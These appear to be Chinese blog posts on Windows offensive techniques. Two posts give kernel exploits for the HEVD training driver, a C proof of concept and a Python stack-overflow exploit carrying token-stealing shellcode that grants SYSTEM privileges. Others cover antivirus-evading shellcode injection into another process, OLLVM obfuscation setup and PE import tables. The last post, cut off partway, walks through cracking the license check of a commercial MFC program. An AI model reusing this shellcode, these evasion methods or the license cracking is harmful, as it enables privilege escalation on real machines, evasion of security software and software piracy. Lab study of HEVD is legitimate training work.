根据上面的分析我们编写出如下测试POC代码：

#include <stdio.h>
#include <malloc.h>
#include <Windows.h>
#pragma pack(1)
typedef struct _UserWriteWhatWhere {
    DWORD What;
    DWORD Where;
} _WRITE_WHAT_WHERE;

   #include <Windows.h>
#include <psapi.h>
#include <iostream>

uintptr_t GetNtKernelBaseAddress() {
    DWORD drivers[1024];
    DWORD cbNeeded;

    // Enumerate device drivers
    if (EnumDeviceDrivers((LPVOID*)drivers, sizeof(drivers), &cbNeeded)) {
        int driverCount = cbNeeded / sizeof(drivers[0]);
        for (int i = 0; i < driverCount; i++) {
            char driverName[MAX_PATH];

            // Get the base name of the driver
            if (GetDeviceDriverBaseNameA((LPVOID)drivers[i], driverName, sizeof(driverName) / sizeof(driverName[0]))) {
                printf("%s\n",driverName);
                // Check if the driver name is "ntkrnl"
                if (strstr(driverName, "ntoskrnl") != nullptr) {
                    return (uintptr_t)drivers[i];
                }
            }
        }
    }
    // Return 0 if ntkrnl is not found or if enumeration fails
    return 0;
}




VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
         mov     eax,dword ptr fs:[00000124h]
  add     eax,40h
  mov     eax,dword ptr [eax+10h]
  mov     ecx,dword ptr [eax+0B8h]
_00400012:
             mov     ecx,dword ptr [ecx]
  mov     esi,ecx
  sub     esi,0B8h
  mov     esi,dword ptr [esi+0B4h]
  cmp     esi,4
  jne     _00400012
  mov     edi,dword ptr [ecx+40h]
_0040002a:
            mov     ecx,dword ptr [ecx]
   mov     esi,ecx
   sub     esi,0B8h
   mov     esi,dword ptr [esi+0B4h]
   cmp     esi,378h
   jne     _0040002a
   lea     esi,[ecx+40h]
   mov     dword ptr [esi],edi
_00400047:
            mov     ecx,dword ptr [ecx]
 mov     esi,ecx
 sub     esi,0B8h
 mov     esi,dword ptr [esi+0B4h]
 cmp     esi,17B0h       ;; 这个是等待提权的cmd的PID

 jne     _00400047
 je      _00400047

    }
}
void sizeer(PVOID a1) {
if (a1==NULL) return;
return;
}
     typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);

int main() {
    sizeer(NULL);
    DWORD shellcodeaaddr=        (DWORD)VirtualAlloc(0,   (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7,0x3000,0x40);
    memset((PVOID)shellcodeaaddr,0,  (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7);
    memcpy((PVOID)shellcodeaaddr,TokenStealingPayloadWin7,  (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7)   ;
    HMODULE oskrn=LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe");
    PVOID tableAddr=GetProcAddress(oskrn,"HalDispatchTable")    ;

             DWORD offset=(DWORD)tableAddr-(DWORD)oskrn;

         DWORD osKrnlBaseaddr=GetNtKernelBaseAddress();

           DWORD targetAddr=offset+osKrnlBaseaddr+4;
        DWORD* whatPointer=(DWORD*)malloc(0x4);
    *whatPointer=   (DWORD) shellcodeaaddr;
    HANDLE driver_handle = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 3, 0, 3, 0x80, 0);
    if(INVALID_HANDLE_VALUE==driver_handle) {
        printf("can not open device, %x\n",GetLastError());
        exit(-1);
    }

    // io control 
        _WRITE_WHAT_WHERE* www = (_WRITE_WHAT_WHERE*)malloc(sizeof(_WRITE_WHAT_WHERE));
    if (0 == www) {
        printf("I've never seen malloc falied\n"); exit(-1);
    }
    printf("shellcode addrd: %p\n",TokenStealingPayloadWin7);
    // 这两个地址该怎么写我还真不知道  不过可以先随便写两个地址  看看iocode好不好使
    int what = 0;
    int where = 1;
    DWORD whataddresss = reinterpret_cast<DWORD>(&what);
    DWORD whereaddresss = reinterpret_cast<DWORD>(&where);
    www->What =(DWORD) whatPointer;
    www->Where = targetAddr;
    DWORD   BytesReturned = 0;
    // 触发漏洞    iocontrol调用之后  where的值由1变成了0  说明调用正确
    if (!DeviceIoControl(driver_handle, 0x22200B, www, sizeof(www), 0, 0, &BytesReturned, 0))
        return 1;

    // 调用函数触发shellcode
    _NtQueryIntervalProfile    NtQueryIntervalProfile  = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryIntervalProfile");
                           int abc=0;
                           printf("NtQueryIntervalProfile addr: %p\n",NtQueryIntervalProfile);
                           MessageBoxA(NULL,"OK","OK",MB_OK);
                           // a1不能为1
 NtQueryIntervalProfile(1,(PULONG)&abc);


    return 0;
}

我们首先在NtQueryIntervalProfile函数处下断点，看看怎么才能到达nt!HalDispatchTable+0x4

那么我们要计算出来NtQueryIntervalProfile对应的内核函数的地址，计算方式如下：

dd nt!KiServiceTable+(sysCallNumber*4) L1

NtQueryIntervalProfile的Syscall number为0xAB

这个函数一般不会被调用，我们直接在这里下断点，然后运行POC来触发

OK，现在我们已断下来了

该函数的汇编代码如下：

kd> uf nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
8154546c 6a0c            push    0Ch
8154546e 6828a43d81      push    offset nt!RtlpSparseBitmapCtxPrepareRanges+0x5da9 (813da428)
81545473 e800f1dcff      call    nt!_SEH_prolog4 (81314578)
81545478 64a124010000    mov     eax,dword ptr fs:[00000124h]
8154547e 8a985a010000    mov     bl,byte ptr [eax+15Ah]
81545484 84db            test    bl,bl
81545486 741b            je      nt!NtQueryIntervalProfile+0x37 (815454a3)  Branch

nt!NtQueryIntervalProfile+0x1c:
81545488 8365fc00        and     dword ptr [ebp-4],0
8154548c 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
8154548f a158c94281      mov     eax,dword ptr [nt!MmUserProbeAddress (8142c958)]
81545494 3bc8            cmp     ecx,eax
81545496 7336            jae     nt!NtQueryIntervalProfile+0x62 (815454ce)  Branch

nt!NtQueryIntervalProfile+0x2c:
81545498 8b01            mov     eax,dword ptr [ecx]
8154549a 8901            mov     dword ptr [ecx],eax
8154549c c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh

nt!NtQueryIntervalProfile+0x37:
815454a3 8b4d08          mov     ecx,dword ptr [ebp+8]
815454a6 e833000000      call    nt!KeQueryIntervalProfile (815454de)
815454ab 8bc8            mov     ecx,eax
815454ad 84db            test    bl,bl
815454af 7421            je      nt!NtQueryIntervalProfile+0x66 (815454d2)  Branch

nt!NtQueryIntervalProfile+0x45:
815454b1 c745fc01000000  mov     dword ptr [ebp-4],1
815454b8 8b450c          mov     eax,dword ptr [ebp+0Ch]
815454bb 8908            mov     dword ptr [eax],ecx
815454bd c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh

nt!NtQueryIntervalProfile+0x58:
815454c4 33c0            xor     eax,eax
815454c6 e8f2f0dcff      call    nt!_SEH_epilog4 (813145bd)
815454cb c20800          ret     8

nt!NtQueryIntervalProfile+0x62:
815454ce 8bc8            mov     ecx,eax
815454d0 ebc6            jmp     nt!NtQueryIntervalProfile+0x2c (81545498)  Branch

nt!NtQueryIntervalProfile+0x66:
815454d2 8b450c          mov     eax,dword ptr [ebp+0Ch]
815454d5 8908            mov     dword ptr [eax],ecx
815454d7 ebeb            jmp     nt!NtQueryIntervalProfile+0x58 (815454c4)  Branch

我们需要抵达815454a6

windows x86的调用约定：

从这张图片中可以看出来所有的参数都是通过栈传递的，按照从右至左的顺序压栈

而在取值方面:

可以看到，从a1到a4依次通过ebp+0x8\0xC\0x10\0x14完成

了解了这些之后，我们再来分析nt!NtQueryIntervalProfile的汇编代码

最终a2取值之后放到eax，a1放到ecx中，然后调用nt!KeQueryIntervalProfile

但是无论什么样的调用约定，eax都是用于存储返回值的，而在这个call指令之前有没有看到压栈操作，因此我们只能认为nt!KeQueryIntervalProfile是一个fastcall，使用ecx和edx传递前两个参数，后面的参数使用栈传递，那么也就是说只有ecx是有效参数，即我们传递给nt!NtQueryIntervalProfile的a1

现在我们来分析nt!KeQueryIntervalProfile：

kd> uf nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
815454de 8bff            mov     edi,edi
815454e0 55              push    ebp
815454e1 8bec            mov     ebp,esp
815454e3 83ec14          sub     esp,14h
815454e6 83f901          cmp     ecx,1
815454e9 7426            je      nt!KeQueryIntervalProfile+0x33 (81545511)  Branch

nt!KeQueryIntervalProfile+0xd:
815454eb 8d45fc          lea     eax,[ebp-4]
815454ee 894dec          mov     dword ptr [ebp-14h],ecx
815454f1 50              push    eax
815454f2 8d45ec          lea     eax,[ebp-14h]
815454f5 50              push    eax
815454f6 6a10            push    10h
815454f8 6a01            push    1
815454fa ff150cd03e81    call    dword ptr [nt!HalDispatchTable+0x4 (813ed00c)]
81545500 85c0            test    eax,eax
81545502 7814            js      nt!KeQueryIntervalProfile+0x3a (81545518)  Branch

nt!KeQueryIntervalProfile+0x26:
81545504 807df000        cmp     byte ptr [ebp-10h],0
81545508 740e            je      nt!KeQueryIntervalProfile+0x3a (81545518)  Branch

nt!KeQueryIntervalProfile+0x2c:
8154550a 8b45f4          mov     eax,dword ptr [ebp-0Ch]

nt!KeQueryIntervalProfile+0x2f:
8154550d 8be5            mov     esp,ebp
8154550f 5d              pop     ebp
81545510 c3              ret

nt!KeQueryIntervalProfile+0x33:
81545511 a144284081      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (81402844)]
81545516 ebf5            jmp     nt!KeQueryIntervalProfile+0x2f (8154550d)  Branch

nt!KeQueryIntervalProfile+0x3a:
81545518 33c0            xor     eax,eax
8154551a ebf1            jmp     nt!KeQueryIntervalProfile+0x2f (8154550d)  Branch

很明显我们在815454e9是不能je的，因此ecx不能为1，调整POC代码的NtQueryIntervalProfile(1,(PULONG)&abc);为NtQueryIntervalProfile(0,(PULONG)&abc);

现在已经可以跳转到我们自己的代码上面了，但是跳转到一瞬间直接崩溃了

windows提示我们在不可运行的内存上面运行代码

我用!vad看了一下，我这明明是可执行的呀，不知道为啥还是会蓝屏

妈的解决不了，官方的EXP运行起来也是蓝屏

HEVD StackOverflow

2023-12-29T00:00:00+01:00

（所有压缩包的密码均为1）

references：

https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/

环境搭建比较简单，先下载个x86的IE-Win7虚拟机，导入两次OVF创建俩虚拟机，一个作为Debugger，另一个作为Debuggee，然后使用串口进行调试，关于Vmware的串口调试，请参考这个视频，视频中用的是CentOS，如果是使用Windows，选择使用命名管道即可

hevd驱动、python2安装包、OSR驱动加载工具、windbgx86都打包放到这里了，hevd源码在这里

漏洞成因

HackSysExtremeVulnerableDriver-2.0.0\Driver\StackOverflow.c的TriggerStackOverflow函数

92行

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

第三个参数为用户控制，而KernelBuffer分配在栈上，大小固定为512字节，如果我们提供的Size大于512，则会造成栈溢出

看一下调用流程

从StackOverflowIoctlHandler函数过来，而StackOverflowIoctlHandler函数由IrpDeviceIoCtlHandler调用

从下面的代码可以知道，当控制代码为0x222003的时候可以进入到漏洞代码中

触发漏洞

那么我们就可以构造出下面的测试代码，来触发栈溢出

import ctypes, sys
import string
import random
import time
import struct
from ctypes import *
def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)


buf = generate_random_string(0x900)
file_path = 'example.txt'
with open(file_path, 'w') as file:
    # Write a string to the file
    file.write(buf)

# 这里使用输入卡住脚本，确保文件被写入之后再向驱动程序发送数据
holdon = raw_input()  

kernel32.DeviceIoControl(hevDevice, 0x222003, buf, 0x900, None, 0, None, None)

然后我们在debugger中下断点

# 开启详细输出
!sym noisy
# 添加windows符号表服务器到符号搜索路径
.symfix
# 将HEVD.pdb路径加入符号搜索路径
.sympath+ C:\Users\IEUser\Downloads\hevd_vulnerable\i386
# 加载符号
.reload /f
# 启用DbgPrint
ed Kd_DEFAULT_Mask 8
# 在漏洞代码处下断点
bp hevd!TriggerStackOverflow

可以看到已经崩溃了，栈溢出导致返回地址被覆盖，最终导致EIP寄存器的值为我们提供的buffer中的某一偏移量的DWORD，我们可以在重启之后看一下eip寄存器的值在example.txt文件中的偏移量

偏移量0x820，也就是说我们在输入的buffer的0x820偏移处写入我们的shellcode地址即以内核模式执行代码，有一点需要注意的是，当我们的用户模式的代码和驱动进行通信时，此时驱动代码是可以访问到用户模式中的内存的，因此我们可以直接在python代码中分配内存，然后更改内存保护属性为可执行即可

编写EXP

在本例中，我们将利用该漏洞进行本地提权

回顾一下我们现在都有什么条件

控制EIP的值
可以写入shellcode

这两个条件结合起来就是任意代码执行，我们可以通过token替换来将目标程序的token替换成System进程（PID=4）的token

汇编代码及注释如下：

' 从fs:[00000124h]获取到当前进程的ETHREAD结构体地址
mov eax,dword ptr fs:[0x124]
' KTHREAD是ETHREAD的第一个成员，因此两者的地址
' 是相同的，KTHREAD往后偏西0x40，获取到_KAPC_STATE结构体的地址
add eax, 0x40
' _KAPC_STATE结构体的0x10偏移的值就是KPROCESS结构体的地址
mov eax, dword ptr [eax+0x10]
’ 和ETHREAD相同，KPROCESS是EPROCESS的第一个字段，因此这两个结构体的地址也是相同的
' EPROCESS的0xb8偏移是ActiveProcessLinks，一个_LIST_ENTRY结构体，通过这个字段
' 我们可以遍历当前系统中所有的活动进程
' 把这个字段的地址记录下来，后面要用
mov ecx, dword ptr [eax+0x0b8]

' 开始遍历进程链表，找到PID=4的进程
' 获取flink的地址，那么这个值就是下一个进程中ActiveProcessLinks字段的地址
' 使用这个地址减去ActiveProcessLinks字段在EPROCESS结构体中的偏移，即可得到
' EPROCESS结构体的地址
mov ecx, dword ptr [ecx]
' ecx需要进行循环，所以我们把他的值放到esi中进行后续的操作
mov esi, ecx
sub esi, 0xb8
' EPROCESS的0xb4偏移是UniqueProcessId字段，就是进程的ID
mov esi, dword ptr [esi+0xb4]
' 检查PID是否为4
cmp esi, 4
' 如果不是，就跳回循环开头
' 关于这条指令的构造过程，可以参考这篇文章：https://blog.csdn.net/ma_de_hao_mei_le/article/details/135275941
# jnz 0xffffffed
"\x75\xEB"

' 如果找到了System进程，那么我们需要把他的token取出来
' Token字段在EPROCESS中的偏移是0xf8，此时ecx是ActiveProcessLinks字段的地址
' 减去0xb8获取到EPROCESS地址，再加上0xf8获取到Token字段的地址，那么直接加上0x40取值即可
mov edi, dword ptr [ecx+0x40]

' 然后我们再进行一次循环获取到待提权进程的Token地址，将edi写入即可
' 0xC44是待提权进程的PID
mov ecx, dword ptr [ecx]
mov esi, ecx
sub esi, 0xb8
mov esi, dword ptr [esi+0xb4]
cmp esi, 0xC44
# jnz 0xffffffea
"\x75\xE8"

' 获取到目标进程的Token字段地址
lea esi, dword ptr [ecx+0x40]
' 写入System进程的Token
mov [esi], edi

' 为了防止进程崩溃，我们在下面再写一个死循环就行了
mov ecx, dword ptr [ecx]
mov esi, ecx
sub esi, 0xb8
mov esi, dword ptr [esi+0xb4]
cmp esi, 0xD94
# jnz 0xffffffea back 0x16
"\x75\xE8"
# jz 0xffffffe8 back 0x18
"\x0F\x84\xE2\xFF\xFF\xFF"

在上面的代码中，有些字段的值是直接地址加偏移量就可得到，有些是加了偏移量之后还要取值，这个看一下下面两张图片就可以看出来

上面ApcState字段是直接KTREHAD+0x40即可得到地址，是因为这个字段并不是一个指针，而是直接嵌入到了KTHREAD结构体中，你可以看到下一个成员的偏移和ApcState字段偏移的差是sizeof(_KAPC_STATE)=0x17

而反观_KAPC_STATE结构体的成员Process，他的下一个成员的偏移和Process的偏移之差是4bytes，也就是一个地址的长度，因此需要取值才可以获得KPROCESS结构体的地址

使用在线汇编将上面的汇编代码转换成字节数组即可形成下面的利用代码：

import ctypes, sys
import string
import time
import struct
from ctypes import *
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)
print "device opened succeed"

shellcode = bytearray(
    "\x64\xA1\x24\x01\x00\x00\x83\xC0\x40\x8B\x40\x10\x8B\x88\xB8\x00\x00\x00\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x83\xFE\x04\x75\xEB\x8B\x79\x40\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x81\xFE\x84\x0B\x00\x00\x75\xE8\x8D\x71\x40\x89\x3E\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x81\xFE\x84\x0B\x00\x00\x75\xE8\x0F\x84\xE2\xFF\xFF\xFF"
    )

# PAGE_EXECUTE_READWRITE    0x40
# COMMIT | RESERVE
ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))

buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode)))

buf ="A"*0x820
buf = buf+struct.pack("<L", ptr)
kernel32.DeviceIoControl(hevDevice, 0x222003, buf, 0x824, None, 0, byref(c_ulong()), None)

在使用的时候将\x84\x0B改成你自己的目标进程的PID即可（注意大小端）

进程注入场景下的shellcode混淆

2023-10-29T00:00:00+02:00

（所有压缩包的密码均为1）

references:

一直没有找到比较好的shellcode混淆方法，尝试过直接使用OLLVM来编译出asm文件，之后再进行链接，但是总是会报一堆错误，后来尝试了使用PE2SHC来将混淆后的PE直接转换为shellcode进行注入，但是被注入的程序总是会莫名其妙的崩溃，而且使用PE2SHC很容易被杀软识别出来，因为他在最后面添加的那一段PE Loader的代码特征太明显了

为了解决以上的问题，我仔细看了一下ReflectiveDLLInjection项目的源代码，最终形成了下面的解决方案：

在编写shellcode代码的时候除了调用GetModuleHandleA和GetProcAddress这两个kernel32.dll中的API用于加载kernel32.dll并从中获取LoadLibraryA和GetProcAddress这两个函数外，不再直接调用win32 API
不使用除了win32 API之外的函数，如printf等
在链接的时候，指定程序入口为main函数

其中第一点和第二点都是为了在注入shellcode的时候，不在目标进程中额外加载其他dll，因为在我的认知范围内，还没有哪个程序运行的时候不需要加载kernel32.dll，因此我们可以直接使用目标进程现成的kernel32.dll模块

对于第三点，大家可以参考这篇文章，默认情况下VS生成的PE文件的EntryPoint并不是main函数，而是__security_init_cookie，之后它会调用__scrt_common_main_seh，该函数最终会调用main函数，但是我们并不需要前面这些进行初始化和setup的函数，而且他们正是导致目标程序在注入之后崩溃的原因，在shellcode项目中进行如下设置即可

在这种设置下生成的PE文件的导入表只有两个导入函数

在PE Loader中，只有两个地方需要对代码中的内存地址进行修正，一个是导入表，另一个就是base relocation

我们只需要在进行这两步操作的时候，使用目标进程中kernel32.dll模块的地址和PE文件将要加载到目标进程中的内存地址（基地址）即可

思路就是先在注入程序中把PE文件加载好，然后整个拷贝到目标进程中就行了

下面是一个例子，我们的shellcode只干了一件事，就是加载lsasrv.dll，shellcode运行完成后，injector会释放在目标进程中开辟的内存空间，injector接收两个参数，第一个是目标进程的PID，第二个是shellcode的PE文件

injector.exe+PE.exe

这两个文件都已经经过了混淆处理

injector.exe源代码

PE.exe的源码：

#include<Windows.h>

typedef
FARPROC
(NTAPI* PNT_GetProcAddress)(
    HMODULE hModule,
    LPCSTR  lpProcName
    );

typedef
HMODULE
(NTAPI* PNT_LoadLibraryA)(
    LPCSTR lpLibFileName
    );

int main() {
    HMODULE ahndleeeeer = GetModuleHandleA("kernel32.dll");
    DWORD64   _kernel32_base_addr = reinterpret_cast<DWORD64>(ahndleeeeer);
    PNT_LoadLibraryA NT_LoadLibraryA = (PNT_LoadLibraryA)GetProcAddress(ahndleeeeer, "LoadLibraryA");
    PNT_GetProcAddress NT_GetProcAddress = (PNT_GetProcAddress)GetProcAddress(ahndleeeeer, "GetProcAddress");
    NT_LoadLibraryA("C:\\windows\\system32\\lsasrv.dll");
}

理解PE文件的导入表

2023-10-26T00:00:00+02:00

（所有压缩包的密码均为1）

references：

如果你不熟悉PE文件中va和rva的概念，可以参考这里

其实PE文件的导入表非常好理解，只要看懂下面这张图就行了

其中最关键的就是IMAGE_IMPORT_DIRECTORY结构体，我们主要关注第一个和最后一个字段

rvaImportLookupTable
rvaImportAddressTable

用最简单的一句话来描述这两个字段就是前者是给PE Loader用来查找导入DLL的函数地址的，后者是给PE文件中的代码用来得到正确的函数地址的

PE Loader通过前者从DLL中获取到正确的函数地址，然后填充到后者中，最终在代码执行的时候，会通过后者来获取函数地址

这里我使用一个很简单的PE文件来举例子，我这个PE文件只有两个导入函数

分别是kernel32.ExitProcess和user32.MessageBoxA

在IDA中打开该PE文件

查看call cs:MessageBoxA对应的16进制为FF15D70F0000，使用defuse.ca反编译得到如下结果

可以看到，这里call指令的操作数是从内存地址rip+0xFD7取出来的一个QWORD，也就是说在编译和链接阶段，生成的PE文件中的代码，并不会直接call导入函数，而是从一个内存地址中取出导入函数的地址，而在PE Loader将PE正确加载到内存之前，这个地址中并没有存储正确的导入函数地址，PE Loader的工作就是根据rvaImportLookupTable找到正确的导入函数地址，然后放到这个地址中

rip总是下一条指令的地址，即0x140001039，那么计算出来的内存地址就是0x140002010，Optional Header中ImageBase字段的值为0x140000000

那么这个地址的rva就是0x2010，和PE-bear中显示的USER32.dll的FirstThunk字段的值是一致的（FirstThunk就是rvaImportAddressTable的第一个entry）

这里有一段摘抄于RDI的代码（有一个地方进行了修改），大家可以结合上面理解一下

// uiValueD就是rvaImportLookupTable的地址，这里通过和0x8000000000000000进行and运算来判断是否通过ordinal来定位导入函数的地址
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
    // uiLibraryAddress是导入的DLL在内存中的基地址，这里获取到导入DLL的NT Header地址
    uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

    // 获取到导入DLL的DATA_DIRECTORY结构体的地址
    uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    // 获取到导入DLL的导出表的地址
    uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

    // 从导出表中获取到导出函数数组地址
    uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

    // 从前面那张导入表结构体的示意图我们知道，如果使用ordinal的方式来定位导入函数的地址，那么除了最高位，剩下的bit位将用于表示ordinal的值
    // 不过这里不知道为啥进行and运算的是0xFFFF，只有16bit，可能ordinal的值最大也就这么大了吧
    // 获取到ordinal value之后，和导出表的base字段值相减，因为每个entry占4bytes，相减的结果乘以4再加上导出函数数组的地址，就是导出函数相对于DLL基地址的偏移的地址
    uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));

    // 使用基地址+偏移得到导入函数的正确地址，并将该地址放到rvaImportAddressTable中
    DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
    // 根据导入表结构体示意图我们可以知道，如果最高bit位为0，那么uiValueD中保存的就是IMAGE_IMPORT_BY_NAME结构体的rva
    // 和PE文件的基地址相加即可得到IMAGE_IMPORT_BY_NAME结构体的地址
    uiValueB = (uiBaseAddress + DEREF(uiValueD));

    // 通过GetProcAddress获取指定名称的函数地址，并将其放入rvaImportAddressTable中
    DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}

我把项目文件也放上来，大家可以在VS中进行调试来更好地理解

使用Obfuscator-LLVM对二进制代码进行混淆

2023-10-20T00:00:00+02:00

（所有压缩包的密码均为1）

参考文章：

你需要在一台安装了VS2017的机器上进行下面的操作

准备工作，需要先安装python3，然后要安装cmake，然后下载这个文件

解压之后，进入并创建build目录，进入build目录打开cmd，执行如下命令

"C:\Program Files\CMake\bin\cmake.exe" -G "Visual Studio 15 2017 Win64" ..

这条命令会给你生成一堆VS2017项目文件，就在build目录下

打开ALL_BUILD.vcxproj

然后找到obfuscator\include\llvm\CryptoUtils.h，在81行下面添加下面的语句

#define ENDIAN_LITTLE

然后调整到RELEASE，右键ALL_BUILD生成即可

当然如果你不想进行上面这一堆操作，你可以尝试直接使用我编译好的

然后我们打开VS2019

然后关闭VS2019，在vs_installer中进行如下操作

把这两个都安装上之后，启动VS2019

然后把我们上面编译出来的Obfuscator-LLVM拷贝到vs_installer刚才安装的clang-cl.exe所在的目录下

目标目录：

你们应该也是这个目录

编译好的Obfuscator-LLVM二进制文件目录：

把第二张图显示的目录中的所有文件覆盖拷贝到第一张图的目录中

之后进行如下设置：

把diagnostics format选项清空，不然会引起编译错误

添加如下命令行选项：

-D__CUDACC__ -D_ALLOW_COMPILER_AND_STL_VERSION_MISMATCH -mllvm -bcf -mllvm -bcf_prob=73 -mllvm -bcf_loop=1 -mllvm -sub -mllvm -sub_loop=5 -mllvm -fla -mllvm -split_num=5 -mllvm -aesSeed=DEADBEEFDEADCODEDEADBEEFDEADCODE

然后就可以正常使用了

这是混淆前后的exe在IDA中的拓扑图对比

API HOOK技术在MFC程序破解过程中的应用

2023-08-02T00:00:00+02:00

本文中所有涉及到的压缩包密码均为1

最近破解了一个MFC程序，OriginLab Pro，这里记录一下相关过程以及学到的一些东西

软件下载地址下载整个仓库然后和并解压即可

定位激活代码

程序安装完毕之后，打开就会弹出激活界面

我们选择使用license进行离线激活

对于这种输入框，最后肯定是要使用USER32!GetWindowText*来获取用户输入的，在输入框中随便输个字符串，然后在windbg中使用bm下个通配符断点

0:005> bm user32!getwindowtext*
  1: 00007ffb`a7f06f50 @!"USER32!GetWindowTextW$filt$0"
  2: 00007ffb`a7f06e95 @!"USER32!GetWindowTextA$filt$0"
  3: 00007ffb`a7ed9490 @!"USER32!GetWindowTextA"
  4: 00007ffb`a7eda200 @!"USER32!GetWindowTextLengthW"
  5: 00007ffb`a7edc2f0 @!"USER32!GetWindowTextW"
  6: 00007ffb`a7f59ce0 @!"USER32!GetWindowTextLengthA"

之后点击OK

实际测试发现，在我们点击OK之前，这些断点就会被反复触发，这样会干扰我们找到真正的license处理逻辑，因此我们需要改进一下，先在COMCTL32!Button_WndProc+0x7fb下断点，这个断点只有在点击按钮的时候才会被触发，然后点击OK，该断点触发之后，再下上面的通配符断点，即可定位到真正的license处理逻辑

我们使用IDA来看一下调用栈中编号为02的位置，首先这个代码位于C:\Program Files\OriginLab\Origin2023b\ou.dll

计算出偏移量

0:000> lm m *ou*
Browse full module list
start             end                 module name
00000000`10000000 00000000`1046d000   Resource   (deferred)             
00007ffb`53b40000 00007ffb`54452000   SogouPy    (deferred)             
00007ffb`54460000 00007ffb`546a3000   sogoutsf   (deferred)             
00007ffb`54d90000 00007ffb`54de1000   OUIM       (deferred)             
00007ffb`76fb0000 00007ffb`76feb000   OCcontour   (deferred)             
00007ffb`79400000 00007ffb`794a4000   Outl       (deferred)             
00007ffb`794b0000 00007ffb`79be7000   ou         (export symbols)       C:\Program Files\OriginLab\Origin2023b\ou.dll
0:000> ? ou!COUxlView::xlWorksheetToNativeOrigin+0x23489-00007ffb`794b0000 
Evaluate expression: 1271337 = 00000000`00136629

根据该偏移量在IDA中跳转到对应的位置

.text:000000018013661C                 lea     rdx, [rsp+38h+arg_18]
.text:0000000180136621                 mov     rcx, rbx
.text:0000000180136624                 call    ?GetWindowTextW@CWnd@@QEBAXAEAV?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@@Z ; CWnd::GetWindowTextW(ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>> &)
.text:0000000180136629                 lea     rcx, [rsp+38h+arg_18]

根据我们的经验，一眼就能看出rdx是传出参数，也就是说[rsp+38h+arg_18]会保存我们输入的license

分析汇编代码

把函数sub_180136600整体给看了一下，并没有找到激活相关的代码，那我们就接着看调用栈中编号03的代码，也就是函数sub_180134090

ou!sub_180134090

该函数中的关键代码如下：

.text:00000001801340AA                 lea     rcx, [rsp+28h+arg_8]
.text:00000001801340AF                 call    cs:??0CStringUTF8@@QEAA@XZ ; CStringUTF8::CStringUTF8(void)
.text:00000001801340B5                 nop
.text:00000001801340B6                 lea     rdx, [rdi+490h]
.text:00000001801340BD                 lea     r8, [rsp+28h+arg_8]
.text:00000001801340C2                 mov     rcx, rdi
.text:00000001801340C5                 call    sub_180136600
.text:00000001801340CA                 mov     rcx, [rsp+28h+arg_8]
.text:00000001801340CF                 call    sub_18012EF30
.text:00000001801340D4                 mov     ebx, eax
.text:00000001801340D6                 lea     rcx, [rsp+28h+arg_0]
.text:00000001801340DB                 call    cs:??0CStringUTF8@@QEAA@XZ ; CStringUTF8::CStringUTF8(void)
.text:00000001801340E1                 nop
.text:00000001801340E2                 mov     r9d, ebx
.text:00000001801340E5                 lea     r8, aBc04       ; "BC04:"
.text:00000001801340EC                 lea     rdx, aSD_2      ; "%s%d"
.text:00000001801340F3                 lea     rcx, [rsp+28h+arg_0]
.text:00000001801340F8                 call    cs:?Format@CStringUTF8@@QEAAXPEBDZZ ; CStringUTF8::Format(char const *,...)
.text:00000001801340FE                 mov     r8d, 1
